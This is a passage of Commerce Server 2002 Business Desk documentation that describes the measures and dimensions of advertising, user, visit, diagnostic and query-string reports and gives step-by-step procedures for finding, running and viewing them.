Ad Reach and Frequency per Advertiser

Campaign Event Summary

Campaign Item Summary

Ad Reach and Frequency by Date (Dynamic)

Use the Ad Reach and Frequency by Date report to review the behavior of users in relation to campaign items on your site. This report shows the activity of users per day for each campaign. This report provides data only for closed visits.

Using the information from this report, you can examine the effectiveness of your ad campaigns. The following tables list the measures and event types for this report.

Measure | Description
Request | A request for content.
Reach | The number of unique users who performed the action that creates an event. For example, the reach of your ABC ad is 245 if 245 users click on your ABC ad.
Event | Description
Click | A click on an ad or a promotion.
Download | A download of a GIF image or other advertising asset from the Web server.
Sold | An item sold from an ad, such as a promotion or bounty ad.

Note

  • You can record custom events by adding custom event names to the event_type table in your campaigns database.

The following table lists the measures that this report contains.

Measure | Description
Events | The number of events that occurred on the site during the report period.
Frequency | The number of times the event occurred (event) divided by the number of distinct users who applied the action of each event (reach).
Reach | The number of distinct users who applied the action of each event.

The following table lists the dimensions that this report contains.

Dimension | Description
Campaign | The name of the campaign.
Day | The day on which the ad was presented to a user on the site.
Event | The event that occurred on the site. For example, an ad request.
Site | The site on which the ad was presented.

Return to Advertising Reports

Ad Reach and Frequency per Advertiser (Dynamic)

Use the Ad Reach and Frequency per Advertiser report to review the behavior of users in relation to campaign items over time. This report provides data only for closed visits.

Using the information from this report, you can examine the value of your advertisers.

The following table lists the measures that this report contains.

Measure | Description
Events | The number of events that occurred on the site during the report period.
Frequency | The number of times the event occurred (event) divided by the number of distinct users who applied the action of each event (reach).
Reach | The number of distinct users who applied the action of each event.

The following table lists the dimensions that this report contains.

Dimension | Description
Advertiser | The name of the advertiser associated with each ad.
Event | The event that occurred on the site. For example, an ad request.
Site | The site on which the ad was presented.

Return to Advertising Reports

Campaign Item Summary (Dynamic)

Use the Campaign Item Summary report to review the effectiveness of campaigns on your site. This report shows a summary of activity by campaign item on your site. This report provides data only for closed visits.

The following table lists the measures that this report contains.

Measure | Description
Click Thru % | The number of times users clicked an ad divided by the number times an ad was presented to users (the reach divided by the yield).
Clicks | The number of times the ad was clicked.
Reach | The number of distinct users who saw an ad.
Requests | The number of times the ad was requested.
Yield | The number of requests for the ad divided by the total ordered impressions for the ad.
Ordered Impressions Balance | The total ordered impressions for an ad less the number of requests for that ad.

The following table lists the dimensions that this report contains.

Dimension | Description
Advertiser | The name of the advertiser associated with the ad.
Site | The site on which the ad was presented.

Return to Advertising Reports

Campaign Event Summary (Dynamic)

Use the Campaign Event Summary report to review the effectiveness of campaigns on your site. This report shows a summary of campaign event activity on your site. This report collects data only for closed visits.

The following table lists the measures that this report contains.

Measure | Description
Count Events | The total number of campaign events that occurred on the site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Advertiser | The name of the advertiser associated with the ad.
Event | The type of campaign event that occurred on the site. For example, an ad request.
Site | The site on which a campaign event occurred.

Return to Advertising Reports

See Also

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Finding Reports

Printing Reports


User Reports

You use the Reports module to run reports to analyze user data.

Distinct Users by Time

New Registered Users

Registered User Properties

Registered Users by Date Registered

User Days to Register

User Registration Rate

User Trends

Note

  • If the Profiles resource is shared by multiple sites in the Data Warehouse, on certain reports individual users will appear to belong to each site sharing the Profile resource. As a result, the grand totals in the reports will be inflated because users will be counted once for each site sharing the Profiles resource in which they are registered.

    The following reports are affected:

    • Registered Users by Date Registered (dynamic SQL)
    • User Days to Register (dynamic SQL)
    • User Registration Rate (dynamic SQL)

    If the Profiles resource is shared across sites, then disable or ignore the grand totals in these reports.

Distinct Users by Time (Dynamic)

Use the Distinct Users by Time report to determine whether a few users are visiting your site many times or if many users are visiting your site one time. This report displays the number of unique users visiting your site, and how many times your site has been visited for a particular time period. This report correlates the number of distinct users with the number of visits made by each one. The distinct users are calculated for the currently selected time period.

The following table lists the measures that this report contains.

Measure | Description
Distinct Users | A user distinguished as unique during the period of the report. Commerce Server counts the user as a unique user only once.
Visits | The number of closed visits to the site during the period of the report.

The following table lists the dimensions that this report contains.

Dimension | Description
Site | The site for which the visits are reported.
Date | The date on which each visit occurred.
User Type | The type of user who visited the site. For example, a registered user or an anonymous user.

Return to User Reports

New Registered Users (Static)

Use the New Registered Users report to identify new registered users. This data can be used to create special promotional campaigns. Export this report to the List Manager module in Commerce Server Business Desk to target new registered users with online campaigns, such as direct mail promotions.

For more information about exporting static reports, see Exporting a Static Report.

The following table lists the measures that this report contains.

Measure | Description
There are no measures in this report. | N\A

The following table lists the dimensions that this report contains.

Dimension | Description
Date Registered | The date on which the user registered on the site.
Date Created | The date on which the user first visited the site.
E-mail | The e-mail address of the user.
First Name | The first name of the user.
Last Name | The last name of the user.
User ID | The unique identifier of the user.

Return to User Reports

Registered User Properties (Static)

Use the Registered User Properties report to review information provided by registered users. This data can be used to create special promotional campaigns. Export this report to List Manager to target registered users with online campaigns, such as direct mail promotions.

For more information about exporting static reports, see Exporting a Static Report.

The following table lists the measures that this report contains.

Measure | Description
There are no measures in this report. | N\A

The following table lists the dimensions that this report contains.

Dimension | Description
Date Created | The date on which the user first visited the site.
Date Registered | The date on which the user registered on the site.
E-mail | The e-mail address of the user.
First Name | The first name of the user.
Last Name | The last name of the user.
User ID | The unique identifier of the user.

Return to User Reports

Registered Users by Date Registered (Dynamic)

Use the Registered Users by Date Registered report to review the registration behavior of your users. This report shows user registration history for your site for a particular time period (year, quarter, month, or day).

The following table lists the measures that this report contains.

Measure | Description
Registered Users | The number of users who registered on the site.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which the user registered on the site.
Site | The site on which the user registered.

Return to User Reports

User Days to Register (Dynamic)

Use the User Days to Register report to track the average number of days it takes anonymous users to register on your site.

The following table lists the measures that this report contains.

Measure | Description
Average Elapsed Days to Register | The average of the number of days between the date on which each user first visited the site and the date on which each user registered on the site.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which the user first visited the site.
Site | The site on which the user registered.

Return to User Reports

User Registration Rate (Dynamic)

Use the User Registration Rate report to determine how successful you have been in getting anonymous users to register on your site. This report shows the time elapsed from the date users first access the site until the date they register.

The following table lists the measures that this report contains.

Measure | Description
Registered Users | The number of users who have registered on the site.

The following table lists the dimensions that this report contains.

Dimension | Description
Elapsed Days | The difference between the date on which each user first visited the site and the date on which each user registered on the site.
Site | The site on which each user registered.

Return to User Reports

User Trends (Dynamic)

Use the User Trends report to determine how successful you have been in attracting repeat users. This report shows the types of users (new and repeat) who visit your site by date.

The following table lists the measures that this report contains.

Measure | Description
Distinct Users | A user distinguished as unique during the period of the report. Commerce Server counts the user as a unique user only once.
New Users | The number of users who visited the site for the first time during the report period.
Repeat User % | The number of users who visited the site for the second or more times during the report period (repeat users) divided by the number of distinct users.
Repeat Users | The number of users who visited the site for the second or more times during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a user visited the site.
Site | The name of the site a user visited.
Week of Year | The week of the year in which a user visited a site.

Return to User Reports

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Before You Analyze Commerce Server Data

Finding Reports

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Printing Reports


Visit Reports

You use the Reports module to run reports to analyze visit data.

Entry Pages

Exit Pages

General Activity Statistics

User Visit Trends

Entry Pages (Dynamic)

Use the Entry Pages report to determine the 1,000 pages on your site that users are most likely to visit first. This report shows the 1,000 URIs that are most frequently used to enter your site, and the number of times each URI has been used.

Notes

  • Even though the top 1,000 pages will always be included in the report, other pages can be included as well. This is because the URI dimension includes the top 1,000 entry pages, exit pages, and most requested pages for every site.
  • If you want to see URIs that provide information other than the 1,000 most frequently used URIs, for example, the least used URIs, ask your system administrator to edit the CSDW_MakeAggRequestsByUri stored procedure in the site database.

The following table lists the measures that this report contains.

Measure | Description
Visit Count | The number of closed visits that occurred on the site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit occurred.
Site | The site a user visited.
URI | The Universal Resource Identifier for the page with which a user entered the site.

Return to Visit Reports

Exit Pages (Dynamic)

Use the Exit Pages report to determine from which pages users are most likely to leave your site. This report shows the 1,000 URIs most frequently used to exit your site, and the number of times each of them has been used.

Notes

  • Even though the top 1,000 pages will always be included in the report, other pages can be included as well. This is because the URI dimension includes the top 1,000 entry pages, exit pages, and most requested pages for every site.
  • If you want to see more than the 1,000 most frequently used URIs, for example, the least active pages, ask your system administrator to edit the CSDW_MakeAggRequestsByUri stored procedure in the site database.

The following table lists the measures that this report contains.

Measure | Description
Visit Count | The total number of closed visits that occurred on the site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit occurred.
Site | The site a user visited.
URI | The Universal Resource Identifier for the page from which a user left the site.

Return to Visit Reports

General Activity Statistics (Dynamic)

Use the General Activity Statistics report to quickly review the activity on your site. This report shows the average requests per visit, the average visit duration, and the number of requests and visits, over time.

The following table lists the measures that this report contains.

Measure | Description
Average Duration per Visit | The average time a user spent on a site, in seconds.
Average Requests per Visit | The average number of requests a user made while visiting a site.
Requests | The number of requests made on a site during the report period.
Visits | The number of closed visits that occurred on a site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit occurred.
Site | The site that a user visited.

Return to Visit Reports

User Visit Trends (Dynamic)

Use the User Visit Trends report to review the number of registered and anonymous visits to your site over time. This report shows the total number of visits, total number of registered user visits, and the total number of anonymous user visits.

The following table lists the measures that this report contains.

Measure | Description
Visits | The number of closed visits that occurred on a site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit occurred.
Site | The site a user visited.
User Type | The type of user who visited a site. For example, a registered user or an anonymous user.

Return to Visit Reports

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Before You Analyze Commerce Server Data

Finding Reports

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Printing Reports

Reports Accessing OLAP Cubes and SQL Server

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Diagnostic Reports

You use the Reports module to run reports to analyze diagnostic data.

Bandwidth Summary

Bandwidth Trends

Hits by HTTP Status

Hits by Win32 Status

Bandwidth Summary (Dynamic)

Use the Bandwidth Summary report to view a PivotChart of the weekly bandwidth consumption for your site.

The following table lists the measures that this report contains.

Measure | Description
Bandwidth (MB) | The amount of bandwidth used during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date for which bandwidth is being measured. The default is weekly.
Site | The site for which bandwidth is being measured.

Return to Diagnostic Reports

Bandwidth Trends (Dynamic)

Use the Bandwidth Trends report to review the daily bandwidth consumption for your site.

The following table lists the measures that this report contains.

Measure | Description
Bandwidth (MB) | The amount of bandwidth used during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date for which bandwidth is being measured. The default is weekly.
Day of Week | The day of the week for which Bandwidth is being measured.
Site | The site for which bandwidth is being measured.

Return to Diagnostic Reports

Hits by HTTP Status (Dynamic)

Use the Hits by HTTP Status report to review and diagnose problems users might encounter with the 1,000 most active pages on your site. This report shows HTTP codes associated with the 1,000 most active pages of your Web site.

Notes

  • Even though the top 1,000 pages will always be included in the report, other pages can be included as well. This is because the URI dimension includes the top 1000 entry pages, exit pages, and most requested pages for every site.
  • If you want to see more than the 1,000 most active pages, for example, the least active pages, ask your system administrator to edit the CSDW_MakeAggRequestsByUri stored procedure in the site database.

The following table lists the measures that this report contains.

Measure | Description
Count | The total number of hits on a site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a page was hit.
HTTP Status | The HTTP status of the page that was hit. (For example 200, 404, or 500. For more information about HTTP statuses, consult W3C Standards documentation.)
Site | The site that received hits.
URI | The Universal Resource Identifier for the page on the site that received hits.

Return to Diagnostic Reports

Hits by Win32 Status (Dynamic)

Use the Hits by Win32 Status report to review and diagnose problems users might encounter with the 1,000 most active pages on your site. This report shows Win32 codes associated with the 1,000 most active pages of your Web site.

Notes

  • Even though the top 1,000 pages will always be included in the report, other pages can be included as well. This is because the URI dimension includes the top 1,000 entry pages, exit pages, and most requested pages for every site.
  • If you want to see more than the 1,000 most active pages, for example, the least active pages, ask your system administrator to edit the CSDW_MakeAggRequestsByUri stored procedure in the site database.

The following table lists the measures that this report contains.

Measure | Description
Count | The number of hits a site received during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The day on which a hit occurred.
Site | The site that received a hit.
URI | The Universal Resource Identifier for the page of the site that received a hit.
Win32 Status | The Win32 status of the page that was hit. (For example, 0=successful. For more information about Win32 statuses, consult W3C Standards documentation.)

Return to Diagnostic Reports

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Before You Analyze Commerce Server Data

Finding Reports

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Printing Reports

Reports Accessing OLAP Cubes and SQL Server

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Query String Reports

You use the Reports module to run reports to analyze query string data.

Query Strings (multi-value)

Query Strings (single value)

Query Strings (multi-value) (Static)

You use the Query Strings (multi-value) report to determine what information users are looking for on your site. This report shows the number of requests to query strings that you have configured for the system to analyze. For example, the system administrator can configure a multi-valued query string to track which stocks users are most interested in.

The following table lists the measures that this report contains.

Measure | Description
Requests | The number of requests that occurred on a site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Name | The name of the query string that ran on the site.
Value | The value of the query string. For example, http://mydomain/my.asp?Query1=Value1.

Return to Query String Reports

Query Strings (single value) (Static)

You use the Query Strings (single value) report to determine what information users are looking for on your site. This report shows the number of requests to query strings that you have configured for the system to analyze. For example, the system administrator can configure a single-valued query string to track the number of times users enter a particular search string on your site. You could then use this report to analyze the most popular search strings on your site.

The following table lists the measures that this report contains.

Measure | Description
Requests | The number of times the query string was requested on a site during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Name | The name of the query string.
Value | The value of the query string. For example, http://mydomain/my.asp?Query1=Value1.

Return to Query String Reports

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Before You Analyze Commerce Server Data

Finding Reports

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Printing Reports

Reports Accessing OLAP Cubes and SQL Server

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Report Properties

You use Report Properties to find out details about a report before you run it. Viewing a report query, available in the properties of the report, is helpful for determining if a particular report definition will return the data you want. This is especially important if you are running a static report for a large data set, for example, running the Registered User Properties report for 10,000,000 users. Static reports running on large data sets can require significant time to process.

The report properties include useful information about the report, such as the name, description, type, date created, and the query on which the report is based. You cannot change report properties. For information about viewing report properties, see Viewing Report Properties.

The following table describes the properties that you can view in the Reports module.

Property | Description
Name | Name of the report.
Description | Description of the report.
Report type | Type of report.
Date created | Date the report was created.
Created by | Name of the person who created the report.
Date modified | Date the report was last modified.
Modified by | Name of the person who last modified the report.
Query | Structured Query Language (SQL) or multidimensional expressions (MDX) query to be run for the report. The Query property is not available for dynamic reports.
Export as mailing list? | Indicates whether data from this report can be exported to List Manager as a mailing list.
Export as user list? | Indicates whether data from this report can be exported to List Manager as a user list.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Creating a New Dynamic Report Definition

Reports Accessing OLAP Cubes and SQL Server

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Time Handling in Reports

All Commerce Server 2002 reports present user behavior data by time. Reports on weekly activity will always use the default start day of the week (usually Sunday) for the language version of SQL Server used.

All World Wide Web Consortium (W3C) log files are always logged in Greenwich Mean Time (GMT) and then the correction for your time zone occurs when the Web Log Import DTS task is run. For more information, see Running the Data Warehouse Resource.

See Also

Reports Accessing OLAP Cubes and SQL Server

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Clickstream Analysis

You can use Commerce Server 2002 reports to analyze logged data that captures step-by-step user activity on your Web site. You can segment users based on similar activities, categorize site visitors by demographics, find out the content they view, the Web sites they come from, and so on.

By analyzing customer clickstream data, you can rapidly learn much about customer behavior, for example, their likes and dislikes, and consequently boost the effectiveness of your marketing campaigns.

You use the following reports to analyze clickstream data for your users:

Activity by Browser

Directories

Entry Path Analysis

Top Referring Domains by Requests

Top Requested Pages

Usage Summary by Day of Week

Usage Summary by Hour of Day

Usage Summary by Week of Year

Usage Trends

Entry Pages

Exit Pages

General Activity Statistics

User Visit Trends


Before You Analyze Commerce Server Data

You use Business Desk Analysis to run reports, to view Segment models, and to analyze user activity on your Web site. There are several tasks that must be performed to make user activity data available for analysis. The following figure shows the steps required to make data available to the Commerce Server 2002 analytical processes.

Before You Analyze Commerce Server Data

Before you analyze Commerce Server data

  1. Your system administrator installs Commerce Server 2002. For information about installing Commerce Server 2002, see the Commerce Server 2002 Installation Guide.
  2. You install the Commerce Server Business Desk client on the computers you will be using to perform business analytics tasks.
  3. Your system administrator configures the Data Warehouse and runs the Data Deletion DTS task if necessary. For more information about configuring the Data Warehouse, see Running the Data Warehouse.
  4. Your system administrator can also assign specific SQL Server database roles to users, allowing some users to read and save reports while others can only read reports. For more information about creating these roles, see Scripts for Securing Databases Accessed by Reports.
  5. Your system administrator imports user activity data into the Data Warehouse. For information about importing data into the Data Warehouse, see Importing Data into the Data Warehouse in Commerce Server 2002 Help.

    Your system administrator builds segment models and prediction models with the data in the Data Warehouse. For information about building analysis models, see Building a New Analysis Model in Commerce Server 2002 Help.

  6. Your system administrator runs the IP Resolution DTS task, if necessary.
  7. Your system administrator runs the Report Preparation DTS task to load the OLAP cubes with the data in the Data Warehouse. The OLAP cubes are installed when a site is unpacked. The OLAP cubes organize and store the data for improved retrieval by the analysis processes. For information about running the Report Preparation process, see Running the Report Preparation DTS Task in Commerce Server 2002 Help.
  8. You analyze user activity on your Web site by running analysis reports and viewing Segment models. For information about running reports, see Running Reports. For information about viewing Segment models, see Viewing a Segment Model.
  9. You export affinity lists to create a direct mail list, which targets a group of users who are likely to buy a specific product. For more information about creating affinity lists, see Creating Affinity Lists.

See Also

Finding Reports

Running Reports

Viewing a Segment Model


Finding Reports

You use the Reports module to find dynamic and static reports.

You can search the Reports list for a particular report or a group of reports. You use the Find pane to get a list of all available reports or to narrow your search by using the properties of the report. The resulting list contains all the reports that meet your search criteria. The list contains four columns—Name, Category, Created By, and Type—which correspond to the four report properties that have those names. You can sort the resulting list by Name, Category, Created By, and Type report properties.

When you search for reports, the Reports module returns all entries that match or begin with the search string you specified in the Find pane.

To view a list of all the available reports

To find a report based on its properties

To sort the Reports list

To view a list of all the available reports

  1. In Analysis, click Reports, and then click Find on the toolbar.
  2. In the Find By drop-down list, select All Reports, and then click Find Now.

A list of all the available reports appears on the Reports screen.

To find a report based on its properties

  1. In Analysis, click Reports, and then click Find on the toolbar.
  2. In the Find By drop-down list, do the following:
    Use this | To do this
    Name | Select to search for a report by its name.
    Category | Search for a report by the category in which it is included.
    Created By | Search for a report by the report author.
    Type | Search for a report by its type, either dynamic or static.
    Any Information | Search for a report by any combination of search criteria—Name, Category, Created By, and Type.
    All Reports | Include all available reports.
  3. In the property value box that appears next, type or select from the list the specific value for the property or properties that you selected (Name, Category, Created By, and Type).

    If you selected the Any Information option, text boxes appear for four properties: Name, Category, Created By, and Type.

  4. In the appropriate property value boxes, type or select specific values for one or more of the properties.
  5. Click Find Now.

A list of all the reports that match your search criteria appears on the Reports screen.

To sort the Reports list

  • In Analysis, click Reports, and then do the following:
    Use this | To do this
    Name | Click to sort by report name. By default, the Reports list is sorted in alphabetical order.
    Category | Sort by report category.
    Created By | Sort by who created the report.
    Type | Sort by report type.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Running Reports

Viewing Report Properties


Running Reports

You use the Reports module to run both dynamic reports and static reports.

Your system administrator must perform several tasks before you can run reports. For example, on a regular basis the system administrator must import data into the Data Warehouse and run the Report Preparation Data Transformation Services (DTS) task, ensuring that the reports you run contain the most current data. (If needed, your system administrator also assigns you the appropriate permissions to save and view a report.) For more information, see Before You Analyze Commerce Server Data.

Note

  • When you first open the Reports module, the default view assumes a search for All Reports. You can narrow the list of reports by using more specific search criteria.

This section contains:

  • Running Dynamic and Static Reports
  • Making Reports Run Faster


Running Dynamic and Static Reports

Use the following procedures to run a report.

  • To run a dynamic report
  • To run a static report

To run a dynamic report

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports. In the list of available reports, select the dynamic report definition you want to run, and then click Run on the toolbar.

The completed dynamic report appears as a PivotTable in a new browser window.

Notes

  • If your PivotTable is not visible, click Hide/Show Pivot on the toolbar.
  • Commerce Server 2002 supports up to 250,000 members per dimension in dynamic reports. If the data set for the report has more than 250,000 members in a dimension, the report will appear in the browser window without data.

To run a static report

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports. In the list of available reports, select the static report you want to run, and then click Run on the toolbar.
  3. In the Run a report dialog box, in the Site Name section, do the following:
    Use this | To do this
    Operand | From the drop-down list, select an operand (All, Equals, Not equal to, Like, Not Like) to determine for which site the report will run.
    Parameter value | By default, this box contains the current site name. If you want to run the report for a different site, type the name of the site for which you want the report to run. If the name that you type does not match a Commerce Server 2002 site name, the report either will fail or will not contain data.
  4. In the Run a report dialog box, adjust the parameters to meet your report needs. All report parameters are report specific.

    Note

    • You can view the report query, site name parameter tags, field name, and number of users parameter tags by clicking Advanced in the Run a report dialog box.
  5. Click OK.

    Caution

    • If you have many static reports running concurrently, it can slow processing time, or possibly cause Business Desk to not respond.

The static report runs and, when completed, is available for viewing in the Completed Reports module.

See Also

Securing Reports

Making Reports Run Faster

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports

Accessing the Analysis Server Over HTTPS

About Dynamic and Static Reports

Commerce Server 2002 Reports

Finding Reports


Making Reports Run Faster

As the size of your Data Warehouse database increases, the report rendering process takes longer. To make your dynamic reports run faster, ask your system administrator to run the Report caching DTS task against the Data Warehouse. This DTS task pre-runs reports, so when you select to run the reports, part of the work is already done.

The following static reports can take up to four hours to render when you have a large Data Warehouse database:

  • Query Strings (multi-value)
  • Query Strings (single value)
  • Entry Path Analysis
  • Registered User Properties
  • Customer Sales
  • New Registered Users

The following dynamic reports can take more than 30 seconds to render against a large database:

  • User Registration Rate
  • User Days to Register
  • Registered Users by Date Registered

See Also

Running Dynamic and Static Reports

Printing Reports

Customizing Reports

Viewing Report Properties


Viewing Dynamic Reports

You view a completed dynamic report as a PivotTable or PivotChart in a browser window. You can also use the drillthrough report feature in dynamic OLAP reports to view the detailed data for a cell.

The drillthrough report feature is enabled for the Product Sales report and the Shopping Basket Events report. Your system administrator configures the drillthrough feature for additional reports, and also configures the limits for a maximum number of records. Your system administrator can adjust the number of records by changing constant values specified in the file drillthrough.htc. For more information, see Enabling Drillthrough Dynamic Reports in Commerce Server 2002 Help.

Notes

  • To use the drillthrough feature, you must have Microsoft Office 2002 XP installed on your local computer.
  • Microsoft Office XP Web Components and the support files that include the Microsoft Data Access Components (MDAC) 2.7 and pivot table services are required to run the dynamic reports in Analysis. Installing Microsoft Office XP, Microsoft Excel XP, Microsoft Access XP, or Microsoft FrontPage XP automatically installs the Microsoft Office XP Web Components and all of the required support files. If you have already installed Microsoft Office XP or any of the applications listed previously, you do not need to install the Microsoft Office XP Web Components, which are included on the Commerce Server 2002 CD.

To view your dynamic report as a PivotChart, you select from a number of charts and properties by using the toolbar buttons provided in the PivotChart. For example, you can select a bar chart, a pie chart, or a bubble chart.

Notes

  • When you modify the data or layout in the PivotChart or the PivotTable, the data changes in both views.
  • Distinct count measures cannot be totaled if a filter dimension has been defined for the report that contains multiple selected items. The pivot control cannot calculate the number of distinct entities resulting from the union of multiple sets of data defined by the filter. If a report is filtered in this way, cells containing distinct count measures are displayed as #VALUE!. A filter dimension must be defined to include either a single member or all members in order to display the distinct count measure.

This section contains:

  • Viewing a Dynamic Report as a PivotChart
  • Viewing a Dynamic Report as a PivotTable
  • Using the Drillthrough Feature


Viewing a Dynamic Report as a PivotChart

You use the Reports module to run a dynamic report and view it as a PivotChart.

To run a dynamic report and view it as a PivotChart

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports, and then select the dynamic report definition you want to run.
  3. In the Reports screen, click Run on the toolbar to run the dynamic report.

    The completed report appears in a new browser window as a PivotTable or a PivotChart.

    Note

    • If you do not have a copy of Microsoft Office 2002 XP, Microsoft Access 2000, or Microsoft FrontPage 2002 installed on the client computer on which you are running Business Desk, you will not be able to export dynamic reports to Microsoft Excel, modify the report definition, or create new dynamic report definitions. You will, however, be able to see the standard view of the data in the report and expand and collapse dimensions.
  4. In the <completed report> browser window, click Show chart on the toolbar to show the PivotChart. Click it again to hide the PivotChart.
  5. After you have finished viewing or printing the report, close the browser window.

See Also

Viewing a Dynamic Report as a PivotTable

Using the Drillthrough Feature

Viewing Static Reports

Viewing Report Properties

Generating a Segment Report

Enabling Drillthrough Dynamic Reports


Viewing a Dynamic Report as a PivotTable

You use the Reports module to run a dynamic report and view it as a PivotTable.

To run a dynamic report and view it as a PivotTable

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports, and then select the dynamic report definition you want to run.
  3. In the Reports screen, click Run on the toolbar to run the dynamic report.

    The completed report appears in a new browser window as a PivotTable or PivotChart.

  4. In the <completed report> browser window, do the following:
    Use this | To do this
    Show pivot | Click to show the PivotTable. Click again to hide the PivotTable.
    Show description | Click to show the report description.
  5. After you have finished viewing or printing the report, close the browser window.

Now that you have the report on the screen, you can use the drillthrough feature.

Note

  • The drillthrough feature is only available for the Product Sales report and the Shopping Basket Events report.

See Also

Viewing a Dynamic Report as a PivotChart

Using the Drillthrough Feature

Viewing Static Reports

Viewing Report Properties

Generating a Segment Report

Enabling Drillthrough Dynamic Reports


Using the Drillthrough Feature

You use the Reports module to run a dynamic report, view the report as a PivotTable, and use the drillthrough feature to more closely analyze your data.

To run a dynamic report and use the drillthrough feature

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports, and then select the Product Sales report.
  3. In the Reports screen, click Run on the toolbar to run the dynamic report.

    The completed Product Sales report appears in a new browser window as a PivotTable or PivotChart.

  4. In the Product Sales browser window, click Cancel to close the PivotTable Field List, if it is open.
  5. Double-click any cell in the PivotTable or select Show/Hide Details from the PivotTable toolbar.

    The cube details for the dimension appear.

  6. After you have finished viewing or printing the report, close the browser window.

See Also

Viewing a Dynamic Report as a PivotChart

Viewing a Dynamic Report as a PivotTable

Viewing Static Reports

Viewing Report Properties

Generating a Segment Report

Enabling Drillthrough Dynamic Reports


Viewing Static Reports

After you run a static report, you can view the completed static report in the Reports list in the Completed Reports module. You can check the status of the report, search for completed reports, and sort the Completed Reports list. You can also open one or more reports, and close reports.

Note

  • If you have multiple Web sites and Business Desk applications, you can create static reports based upon data from multiple sites. However, you can only view static reports from the Business Desk application that you used to create those reports.

This section contains:

  • Checking the Status of a Static Report
  • Finding Completed Static Reports
  • Sorting the Completed Reports List
  • Opening a Static Report
  • Opening Multiple Static Reports
  • Closing a Static Report


Checking the Status of a Static Report

You use the Completed Reports module to view the status of a static report.

To view the status of a static report

  • In Analysis, click Completed Reports.

    The status of the report appears in the Status column of the Reports list. The status is one of the following:

    • Completed. The report has completed. You can now open the report to view it.
    • Pending. The report is running.
    • Failed. The report did not complete successfully. If a report fails, have your system administrator check the application log file in the Event Viewer for error messages.

Note

  • The Status column in the Completed Reports module sorts on the Status ID in the order of Completed, Pending, and Failed.

See Also

Finding Completed Static Reports

Sorting the Completed Reports List

Opening a Static Report

Opening Multiple Static Reports

Closing a Static Report

Printing Reports

Exporting a Dynamic Report

Exporting a Static Report


Finding Completed Static Reports

You use the Completed Reports module to find completed status reports.

To find a completed status report

  1. In Analysis, click Completed Reports, and then click Find on the toolbar.
  2. In the Find By drop-down list, do the following:
    Use this | To do this
    Name | Select to search for a report by its name.
    Run By | Search for a report by the name of the person who ran the report.
    Date Run | Search for a report by a range of dates during which the report was run.
    Status | Search for a report by the status of the report—Completed, Pending, or Failed.
    Any Information | Search for a report by any combination of search criteria—Name, Category, Created By, and Type.
    All Reports | Search for all available reports.
  3. In the property value box that appears next, type or select from the list the specific value for the criteria that you have selected (for example, Name, Date Run, Run By, and Status), and then click Find Now.

The resulting Reports list contains all the static reports that meet your search criteria.

See Also

Checking the Status of a Static Report

Sorting the Completed Reports List

Opening a Static Report

Opening Multiple Static Reports

Closing a Static Report

Printing Reports

Exporting a Dynamic Report

Exporting a Static Report


Sorting the Completed Reports List

You use the Completed Reports module to sort the list of completed static reports.

To sort the Completed Reports List

  1. In Analysis, click Completed Reports, and then click Find Report on the toolbar.
  2. In the Find By drop-down list, do the following:
    Use this | To do this
    Name | Sort by the name of the report.
    Date Run | Sort by the date the report was run. By default, the reports are sorted by Date Run in descending order.
    Time Run | Sort by the time of day the report was run.
    Run By | Sort by the name of the person who ran the report.
    Status | Sort by the report status—Completed, Pending, or Failed.

Notes

  • The Status column in the Completed Reports module sorts in the order of Failed, Pending, and Completed.
  • The Time Run column in the Completed Reports module sorts by the date the report was run. You cannot sort by Time Run independently of Date Run.

See Also

Checking the Status of a Static Report

Finding Completed Static Reports

Opening a Static Report

Opening Multiple Static Reports

Closing a Static Report

Printing Reports

Exporting a Dynamic Report

Exporting a Static Report


Opening a Static Report

You use the Completed Reports module to open a static report.

To open a static report

  1. In Analysis, click Completed Reports.
